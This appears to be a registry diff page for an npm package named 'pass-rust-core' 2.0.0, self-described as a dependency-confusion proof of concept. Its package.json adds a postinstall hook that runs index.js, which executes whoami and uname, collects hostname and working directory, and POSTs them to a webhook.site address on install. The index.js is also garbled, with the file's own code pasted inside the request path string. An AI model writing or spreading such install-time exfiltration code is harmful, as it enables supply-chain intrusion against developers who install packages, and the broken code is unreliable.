pass-rust-core 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +66 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
// index.js
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
|
|
6
|
+
const data = JSON.stringify({
|
|
7
|
+
whoami: execSync('whoami').toString().trim(),
|
|
8
|
+
hostname: os.hostname(),
|
|
9
|
+
cwd: process.cwd(),
|
|
10
|
+
uname: execSync('uname -a').toString().trim(),
|
|
11
|
+
timestamp: new Date().toISOString()
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
const options = {
|
|
15
|
+
hostname: 'webhook.site',
|
|
16
|
+
path: '/// index.js
|
|
17
|
+
const os = require('os');
|
|
18
|
+
const https = require('https');
|
|
19
|
+
const { execSync } = require('child_process');
|
|
20
|
+
|
|
21
|
+
const data = JSON.stringify({
|
|
22
|
+
whoami: execSync('whoami').toString().trim(),
|
|
23
|
+
hostname: os.hostname(),
|
|
24
|
+
cwd: process.cwd(),
|
|
25
|
+
uname: execSync('uname -a').toString().trim(),
|
|
26
|
+
timestamp: new Date().toISOString()
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
const options = {
|
|
30
|
+
hostname: 'webhook.site',
|
|
31
|
+
path: '/95230d1c-a690-4d8e-a646-efcdcf6da99a', // Replace with your webhook
|
|
32
|
+
method: 'POST',
|
|
33
|
+
headers: {
|
|
34
|
+
'Content-Type': 'application/json',
|
|
35
|
+
'Content-Length': data.length
|
|
36
|
+
}
|
|
37
|
+
};
|
|
38
|
+
|
|
39
|
+
const req = https.request(options, res => {
|
|
40
|
+
console.log(`[+] Sent. Status: ${res.statusCode}`);
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
req.on('error', error => {
|
|
44
|
+
console.error(error);
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
req.write(data);
|
|
48
|
+
req.end();
|
|
49
|
+
', // replace with actual ID
|
|
50
|
+
method: 'POST',
|
|
51
|
+
headers: {
|
|
52
|
+
'Content-Type': 'application/json',
|
|
53
|
+
'Content-Length': data.length
|
|
54
|
+
}
|
|
55
|
+
};
|
|
56
|
+
|
|
57
|
+
const req = https.request(options, res => {
|
|
58
|
+
console.log(`[+] Sent. Status: ${res.statusCode}`);
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
req.on('error', error => {
|
|
62
|
+
console.error(error);
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
req.write(data);
|
|
66
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "pass-rust-core",
|
|
3
|
+
"version": "2.0.0",
|
|
4
|
+
"description": "PoC for dependency confusion",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"PoC - No tests\" && exit 0",
|
|
8
|
+
"postinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "h4cker nafeed",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|